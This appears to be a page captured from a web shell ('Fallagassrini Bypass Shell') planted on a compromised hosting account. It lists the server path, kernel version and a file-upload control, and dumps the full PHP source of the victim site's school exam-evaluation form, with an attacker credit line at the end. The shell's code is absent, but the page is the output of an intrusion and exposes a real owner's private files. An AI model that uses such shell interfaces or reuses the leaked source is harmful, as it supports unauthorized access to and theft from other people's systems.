? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/eldertree/application/views/examination/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/eldertree/application/views/examination/edit_evaluation.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box yellow">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating Performance evaluation/Exam</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('examination','viewinexaminationsearch','search_evaluation','view_evaluation','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                echo form_open('examination/addinexamination/update_evaluation/view_evaluation/1', $attributes);
                $employee = $this->mastermodel->get_data('employee', '1', 'employee_teacher');
                $class = $this->mastermodel->search_class_name();
                $exam = $this->examinationmodel->search_exam_master();
                ?>
                <h3 class="form-section">Performance evaluation/Exam  Details </h3>
                

                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Class Code </label>
                            <div class="controls"><span class="text bold">
                                <?= $this->mastermodel->get_single_field_value('class_name', 'class_name_code', 'class_name_id', $viewinfo->class_name_id); ?>
                                    </span>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Exam Name </label>
                            <div class="controls">
                                <select name="exam_master_id" id="exam_master_id" class="required">
                                    <option value="">Select</option>
                                    <?php
                                    foreach ($exam['results']->result_array() as $list) {
                                        ?>
                                        <option value="<?= $list['exam_master_id']; ?>"<?php if ($list['exam_master_id'] == $viewinfo->exam_master_id) {
                                        echo "selected";
                                    } ?>><?= $list['exam_master_name']; ?></option>
                                        <?php
                                    }
                                    ?>
                                </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Teacher Name </label>
                            <div class="controls">
                                <select name="teacher_id" id="teacher_id" class="">
                                    <option value="">Select</option>
                                    <?php
                                    foreach ($employee as $list) {
                                        ?>
                                        <option value="<?= $list['employee_id']; ?>"<?php if ($list['employee_id'] == $viewinfo->teacher_id) {
                                        echo "selected";
                                    } ?>><?= $list['employee_name']; ?></option>
                                        <?php
                                    }
                                    ?>
                                </select>

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Date Of Test</label>
                            <div class="controls">
                                <input name="evaluation_date" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->evaluation_date); ?>" id="evaluation_date" type="text" class="calfocus required span12" />
                            </div>
                        </div>
                    </div>
                </div>
                <h3 class="form-section">Performance evaluation</h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Monthly Exam (Max Marks) </label>
                            <div class="controls">
                                <input type="text" name="month_max_mark" id="month_max_mark" class="required number span12" value="<?= $viewinfo->month_max_mark ?>"/>                    
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Semester Exam (Max Marks) </label>
                            <div class="controls">
                                <input type="text" name="sem_max_mark" id="sem_max_mark" class="required number span12" value="<?= $viewinfo->sem_max_mark ?>"/>            

                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Remarks </label>
                            <div class="controls">
                                <textarea class="span12" value="" name="evaluation_remarks" id="evaluation_remarks" ><?= $viewinfo->evaluation_remarks; ?></textarea>
                                
                            </div>
                        </div>
                    </div>
                </div>
                <h3 class="form-section">Performance evaluation/Exam Marks Details</h3>
                <div class="row-fluid">
                    <div class="span12">
                        <div class="portlet box yellow">
                            <div class="portlet-title">
                                <div class="caption"><i class="icon-cogs"></i>Performance evaluation/Exam  Details</div>
                            </div>
                            <div class="portlet-body">
                                <table class="table table-striped table-hover table-bordered" id="sample_3">
                                    <thead id="stud_sub_head">
                                        <tr>
                                            <td style="text-align: center;width: 120px;height: 30px;">Sl no</td>
                                            <td style="text-align: center;">Student Name</td> 
                                            <td style="text-align: center;width: 60px;">Student Reg No</td> 
                                            <?php
                                            $class_room_id = $this->mastermodel->get_single_field_value('class_name', 'class_room_id', 'class_name_id', $viewinfo->class_name_id);
                                            $sub = $this->mastermodel->get_data('subject', $class_room_id, 'class_room_id');
                                            $student = $this->studentmodel->get_student_class_allocation_details($viewinfo->class_name_id,$this->mastermodel->convertdateformat($viewinfo->evaluation_date));
                                            $i = 1;
                                            foreach ($sub as $list) {
                                                $std_student = $this->examinationmodel->get_std_subjects($list['subject_id'], $viewinfo->evaluation_id);
                                                $subjects = $this->mastermodel->get_single_field_value('subject', 'subject_name', 'subject_id', $list['subject_id']);
                                                ?>
                                        <input type="hidden" name="subject_<?= $i ?>" value="<?= $list['subject_id'] ?>"/>
                                        <td style="text-align: center" colspan="2"><?= $subjects; ?></td>
                                        <?php
                                        $i++;
                                    }
                                    ?>       
                                    </tr>
                                    <tr>
                                        <td colspan="3"> </td>
                                        <?php
                                        for ($i = 1; $i <= sizeof($sub); $i++) {
                                            ?>
                                            <td style="text-align: center">Monthly</td>
                                            <td style="text-align: center">Sem</td>
                                            <?php
                                        }
                                        ?>

                                    </tr>
                                    </thead>
                                    <tbody  id="stud_sub_body">

                                        <?php
                                        $j = 1;

                                        if(sizeof($student)>0)
                                        {
                                        foreach ($student as $row) {
                                        $deactivate = $this->studentmodel->check_deactivate($viewinfo->class_name_id, $row['student_id'], $this->mastermodel->convertdatenormalformat($viewinfo->evaluation_date));
                                            $sub_marks = $this->examinationmodel->get_marks($row['student_id'], $viewinfo->evaluation_id);
                                            $studnt_name = $this->mastermodel->get_data_srow('student', $row['student_id'], 'student_id');
                                        ?>
                                            <tr>
                                        <input type="hidden" name="student_id_<?= $j ?>" value="<?= $row['student_id'] ?>"/> 
                                        <td style="text-align: center;height: 30px;"><?= $j ?></td>
                                        <td><?= $studnt_name->first_name . " " . $studnt_name->last_name ?></td>
                                        <td style="text-align: center"><?= $studnt_name->reg_no ?></td>
                                        <?php
                                        $k = 1;
                                        if ($deactivate > 0) {
                                        foreach ($sub_marks as $list) {
                                            ?>
                                            <td style="text-align: center;height: 30px;"><input type="text"  style="width: 40px;height: 30px;" name="monthly_marks_<?= $row['student_id'] . $k ?>" style="width: 120px;height: 30px;" readonly value="deactivate" /></td>
                                            <td style="text-align: center;height: 30px;"><input readonly  style="width: 40px;height: 30px;" name="semester_marks_<?= $row['student_id'] . $k ?>" id="remark_<?= $i ?>" type="text" value="deactivate"/>
                                            <?php

                                            $k++;
                                        }
                                        }
                                        else
                                        {
                                            foreach ($sub_marks as $list) {
                                            ?>
                                            <td style="text-align: center;height: 30px;"><input type="text" style="width: 40px;height: 30px;" name="monthly_marks_<?= $row['student_id'] . $k ?>" id="monthly_marks_<?= $i ?>" value="<?= $list['evaluation_monthly_marks'] ?>" /></td>
                                            <td style="text-align: center;height: 30px;"><input type="text" style="width: 40px;height: 30px;" name="semester_marks_<?= $row['student_id'] . $k ?>" id="semester_marks_<?= $i ?>" type="text" value="<?= $list['evaluation_semester_marks'] ?>"/></td>
                                            <?php

                                            $k++;
                                            }
                                        }
                                        if (sizeof($sub) > sizeof($sub_marks)) {
                                            $a = sizeof($sub_marks) + 1;
                                            for ($i = $a; $i <= sizeof($sub); $i++) {
                                                ?>

                                                <td style="text-align: center;height: 30px;"><input type="text" style="width: 40px;height: 30px;" name="monthly_marks_<?= $row['student_id'] . $i ?>" id="monthly_marks_<?= $i ?>" /></td>
                                                <td style="text-align: center;height: 30px;"><input type="text" style="width: 40px;height: 30px;" name="semester_marks_<?= $row['student_id'] . $i ?>" id="semester_marks_<?= $i ?>"/></td>
                                                    <?php
                                                }
                                            }
                                            ?>
                                            </tr>
                                            <?php
                                            $j++;
                                        }
                                    }
                                        ?>

                                        </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="form-actions">
                    <input type="hidden" name="evaluation_id" value="<?= $viewinfo->evaluation_id ?>"/>
                    <button type="submit" id="submit" class="btn blue" onclick="addformdata('validateform')">Update</button>
                    <button type="button"  class="btn" onclick="viewdata('examination','viewinexaminationsearch','search_evaluation','view_evaluation','<?= $_SESSION['pagenum']; ?>')">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net